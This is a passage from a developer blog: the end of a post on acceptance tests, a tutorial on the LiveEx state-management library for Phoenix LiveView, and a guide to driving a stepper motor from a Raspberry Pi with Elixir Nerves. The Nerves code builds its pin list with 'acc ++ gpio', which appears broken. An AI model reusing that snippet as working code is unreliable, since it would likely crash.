This version of the test does exactly the same as the first version, but encapsulates any logic into helper functions, which define explicitly what they do. The test is much easier to read and to understand. If the developer cares about the underlying code, she can always dive into the helper functions which follow the single responsibility principle and do one thing only (e.g. login(), or open_payslip_from_november_2019()).

Summary

We started the process of bringing business requirements to our software in the business realm. We interviewed our stakeholders using open/closed conversation techniques starting in the problem space and slowly moving towards the solution space. We established a ubiquitous language to which everyone committed to adhere. Once a solution was agreed upon, we distilled the solution into an acceptance criterion, which gives our stakeholders explicit requirements against which they can verify the behavior of the system. The acceptance criterion focuses on the “what”, not the “how”.

Then, we left the business realm and moved to the technical realm. Here, we first wrote a feature specification, which is independent to technicalities and views the system as a black box. The specification was then tested in a concise acceptance test that moves the raw logic into helper functions, which explicitly describe the purpose of their implicit actions. This concludes the process of extracting business requirements and verifying them against our production code.

State Management with Phoenix LiveView and LiveEx

2019-07-31T11:01:35Z

We used the Elixir + Phoenix stack to deliver scalable, fault-tolerant and high-availability IoT solutions to the customers of my first employer. The web frontends, we build for managing these solutions, need to be developed rapidly and adjusted constantly to the needs of our customers. The Phoenix framework is a perfect choice for our needs, but unfortunately requires us to add interactivity using JavaScript. That changed when the Phoenix LiveView project came along.

With Phoenix LiveView, adding interactivity and displaying state changes without reloading the page becomes trivial. The complexity and loss of productivity due to context switching decreases significantly by eliminating the split between the backend and frontend code. But now that the normally stateless, since static, frontend becomes stateful, a new question arises: How can we manage the state?

The Problem

Once a stateful frontend grows in complexity, it becomes significantly more difficult to keep oversight of how the state is changed, when, by whom, and in what order. Think about state changes caused by asynchronous calls that fetch data from the backend, a websocket connection that pushes new updates to the data, and on top of all of this, have the user edit the state as well. All these actors change the state and since they usually do this directly, it quickly becomes unclear what is happening.

The Solution

Facebook ran into these issues as their website grew in complexity and proposed an architectural pattern they called flux. If you want to understand this pattern in-depth, we recommend Facebook’s introduction to the topic. In high level terms, the flux pattern wraps every state change into an action with a type and a payload. Every action has to go through a dispatcher, which is similar to a funnel, through which every action has to go sequentially. The dispatcher applies the change to the state using callbacks (sometimes called mutations) which were previously registered by a store to handle certain actions. The stores emit a change event if their state has changed. Special views called controller-views receive that event, fetch the latest state, and apply the updates to their views.

The advantage of the flux pattern is that state changes become observable and replicable. It helps tremendously in debugging breaking state changes and monitoring the information flows of larger frontend applications. It has proven itself to be so useful in sanitizing state changes that every larger single-page application (SPA) framework has an implementation of the flux pattern like Vuex, Redux, and NgRx. In our experiences with LiveView, we ran into the exact issues that these libraries solve and therefore we decided to build a flux implementation for Phoenix LiveView, called LiveEx.

LiveView meets Flux

In order to facilitate the use of the flux pattern in LiveView, we created the LiveEx library, which helps set up the flux architecture. LiveEx is inspired by the Vuex library, thus it adheres to the following flux flow:

The Vuex flow deviates a bit from the original flux flow since it allows side-effects (e.g. asynchronous or database calls) in its actions. However, everything after the actions must be side-effect free and synchronous. In short, a view dispatches an action, which does its logic and eventually commits a mutation. The mutation actually changes/mutates the state and stores the updated state back in a store. The store notifies the views about its state change, which pull the latest version of the state and update themselves.

LiveEx gives you all the tools to write your own store with actions and mutations and lets you dispatch actions easily from within any LiveView that is connected to a particular store. Subsequently, we show how to get started with the LiveEx library.

Setup LiveEx

We created an example project that implements LiveEx and open-sourced it on GitHub. Below, we explain how to set up your own project.

Add the LiveEx library to your Phoenix project:

def deps do
  [
    {:live_ex, github: "pjullrich/live_ex" }
  ]
end

Create a module for your store. A fully documented version of an example store can be found on GitHub. Here an example for how it could look like:

defmodule MyAppWeb.Store do
  use LiveEx

  @initial_store %{
    a: 1,
    b: "test",
    c: true,
    d: [nil, nil, nil]
  }

  def init(socket) do
    init(@initial_store, socket)
  end

  # Actions

  def handle_info(%{type: "add"} = action, socket) do
    # Perform any operation with the payload here. For example:
    new_state = socket.assigns.a + action.payload

    commit("set_a", new_state, socket)
  end

  # Mutations

  def set_a(payload, socket) do
    assign(socket, :a, payload)
  end
end

Let’s discuss this. First, store variables can also be added dynamically, but it is a good idea to write out the entire structure of your store once. Thus, define every store variable that you will use in your application with a default value in the initial_store map. Pass this map to the init/2 function together with a LiveView.Socket. This will initialize your store.

Below your init/1 function, define your actions. Use pattern-matching to match the appropriate action with an action type. Perform any business logic in the action, potentially with side-effects or asynchronous calls. Eventually, commit a mutation that updates the state.

Mutations have to be free of side-effects and typically contain little to none business logic except for what is necessary to update the state. Please note that their function name needs to equal the name with which they should be committed (in this case set_a).

Next, connect your store with your “root” LiveView, which is the LiveView that encapsulates any LiveViews that should use the same state.

defmodule MyAppWeb.RootLive do
  alias MyAppWeb.Store

  ...

  def mount(_session, socket) do
    # Init the store
    {:ok, Store.init(socket)}
  end

  ...
  # Delegate any action callbacks to the store
  # Add this line to the end of "root" LiveView
  defdelegate handle_info(msg, socket), to: Store
end

Make sure to pass any state variables down to the nested LiveViews with

<%= Phoenix.LiveView.live_render(
    @socket,
    MyAppWeb.ChildLive,
    session: Map.take(assigns, [:a, :b, :c, :d])
  )
%>

Within every nested LiveView, initialize the store as well in the mount/2 function with the passed-on state variables (here: [:a, :b, :c, :d])

alias MyAppWeb.Store
...
def mount(session, socket) do
  {:ok, Store.init(session, socket)}
end

Use LiveEx

Display your state in your .leex templates by using the common Phoenix Template syntax:

Value of "a": <%= @a %>

To change your state, simply call the dispatch/3 function with the type, (optional) payload, and LiveView.Socket and let LiveEx do its magic.

def handle_event("add", value, socket) do
  to_add = String.to_integer(value)
  Store.dispatch("add", to_add, socket)
  {:noreply, socket}
end

The dispatch/3 call will create and commit an action, change the state, and update the state of your LiveView.Socket automagically!

Debugging

Now that we send every state change through the dispatcher, it becomes trivial to log the state changes. Hence, if you set your Logger to debug, you will see how your actions are changing the state. Here is an example from the console:

[debug] LiveEx
      - Action:  add
      - Payload: 3
      - Before:  %{a: 2, b: "test", c: true, d: [nil, nil, nil]
      - After:   %{a: 5, b: "test", c: true, d: [nil, nil, nil]

Conclusion

LiveEx will hopefully help you to develop middle to larger frontends. It is not yet battle-tested, nor optimized. It will change dramatically once the LiveView team implements support for prepending and appending data since then each store state can be kept in a dedicated socket assignment. More on this here.

If you want to help to make state management with LiveView easier, your help and feedback are most welcome and best handed in on the LiveEx GitHub page.

For further information, please check out the LiveEx Example Repository.

Bridge the Gap - Bring your Software to life with Elixir and Nerves

2019-07-31T11:01:35Z

Writing code is fun, but nothing tops seeing your code moving things in the real world. That’s why I tested out the Nerves library and used $20 of Raspberry Pi utensils to let software wave a flag for me.

The Hardware

For this project, I used the following hardware:

Raspberry Pi Zero W
28BYJ-48 5v Stepper Motor with ULN2003 Board
16GB microSD Card
A flag
Some cables

The Wiring

Here’s an overview of how to connect the ULN2003 to the Raspberry Pi.

After you connect the ULN2003 Board to the Pi, connect the Stepper Motor to the ULN2003 and the Pi to your Computer. IMPORTANT: Connect the Pi to your Computer using the USB port and not the PWR port. Otherwise, you will not be able to transfer or execute code from your Computer on the Pi.

Also, make sure to connect the wires properly. The LEDs on the ULN2003 Board should glow red once you start the stepper motor.

Setting up the Project

You can find the full code on GitHub. Here’s how you set up the project from scratch.
If you haven’t already, first install the Nerves dependencies for your operating system

# On macOS, run:
brew update
brew install fwup squashfs coreutils xz

# On Linux, run:
sudo apt install build-essential automake \
     autoconf git squashfs-tools ssh-askpass

Then install the Nerves Bootstrap library

mix archive.install hex nerves_bootstrap

Next, create a new Nerves project and install its dependencies
with

mix nerves.new move_it
cd move_it

Add the circuits_gpio dependency to your mix.exs file


defp deps do
  [
    ...
    {:circuits_gpio, "~> 0.4.1"},
    ...
  ]
end

Install the dependencies with

export MIX_TARGET=rpi0
mix deps.get

You should now have a fully set up project. As a last step, enable the logger by changing the rootfs_overlay/etc/iex.exs like this:

if RingLogger in Application.get_env(:logger, :backends, []) do
  IO.puts("""
  ...
  """)
  RingLogger.attach() # <- Add this line
end

The Code

Open the lib/move_it/move_it.ex file and fill it with the following code:

defmodule MoveIt do
  @moduledoc """
  Documentation for MoveIt.
  """

  require Logger

  alias Circuits.GPIO

  @pins [5, 6, 13, 26]

  def start(count) do
    pins =
      Enum.reduce(@pins, [], fn pin, acc ->
        Logger.info("Starting pin #{pin} as output")
        {:ok, gpio} = GPIO.open(pin, :output)
        acc ++ gpio
      end)

    Logger.info("Starting the motor. Hold on to your butts!")

    spawn(fn -> step(count, pins) end)
    {:ok, self()}
  end

  defp step(0, pins) do
    Logger.info("End reached. Closing the pin connections...")

    for pin <- pins do
      pin
      |> GPIO.write(0)
      |> GPIO.close()
    end

    Logger.info("Pin connections closed. Good bye.")
  end

  defp step(round, pins) do
    Logger.info("Round Nr: #{round}")

    next_idx = rem(round, length(pins))
    prev_idx = if next_idx == 0, do: length(pins) - 1, else: next_idx - 1

    next_pin = Enum.at(pins, next_idx)
    prev_pin = Enum.at(pins, prev_idx)

    GPIO.write(prev_pin, 0)
    GPIO.write(next_pin, 1)

    Process.sleep(2)
    step(round - 1, pins)
  end
end

The code above first opens the GPIO pins with the GPIO.open/2 function and then starts the motor by sequentially enabling and disabling the Pins. This causes the stepper motor to move one step forward each time one of the pins is enabled. You can adjust how many steps the motor will make by defining the count parameter when starting the script with MoveIt.start(count)

Setting up the Raspberry Pi

First, insert the SD card into your computer.

Now, bundle the code into a firmware and copy it to the SD Card with the commands

mix firmware
mix firmware.burn

Nerves “should” be able to find your SD card and will ask you to confirm it. If it doesn’t find your SD card, you can supply the mount point with the -d option like so:

# For example
mix firmware.burn -d /dev/rdisk2

After the copy process is completed, insert the SD Card into your Raspberry Pi and connect the Pi with the USB cable to your computer.

Getting Things moving

Now, the thrilling part comes. Connect your computer to the Raspberry Pi with

ssh nerves.local

This will start an iex terminal on the Raspberry Pi. Now, start the motor with

MoveIt.start(1200)

The motor should turn, you should be filled with awe, and in the distance you will hear the appreciative clapping of Richard Stallman for using open-source software :)

Peter Ullrich Blog

Store your SSH keys in a Password Manager

The Problem

The Solution

1. Move your SSH Keys to Proton Pass

2. Start the SSH Daemon

3. Start the SSH Agent Automatically

4. (Optional) Fix ~/.ssh/config

One Caveat

Conclusion

What the CVE?

The Beginning

What happened after

What has happened since

FAQs

1: Which prompts do you use and are they open source?

2: Are you going to retire soon with all the money you receive from reporting CVEs?

3: What do you think about Mythos?

4: How does the reporting and disclosure process look like?

A Devcontainer for Elixir

The Problem

The Solution

The Setup

The Firewall

Protected Paths

CLI Commands

Conclusion

Monitor SSH Logins with Push Notifications

The Problem

The PAM

Conclusion

Listen to Database Changes through the Postgres WAL

The Problem

NOTIFY/pg_notify

The WAL 🐳

Previous Art

The Database

Side-note

CI and Docker Configuration

Interlude

Publications

Replication Slots

The Migrations

The Listener

Handling Heartbeats

Decoding Messages

Receiving Messages

The BEGIN

The RELATION

The INSERT

The COMMIT

What to do with the data tho?

Crash Recovery

Further Considerations

Conclusion

Binary Pattern Matching in Elixir

The Gist

Bitstrings

Storing vs Displaying Bitstrings

Types

Integer

Floats

Bitstrings

Binaries

Strings

Bitstrings vs Binaries vs Strings

Modifiers

Endianness

Modifier Order

Dynamic Match Size

Configure IEx

Conclusion

Stop Loading Large Ecto Fields by Default

The Problem

The Solution

Conclusion

Test async work in Elixir with assert_eventually

The Problem

The Solution

Conclusion

4. (Optional) Fix `~/.ssh/config`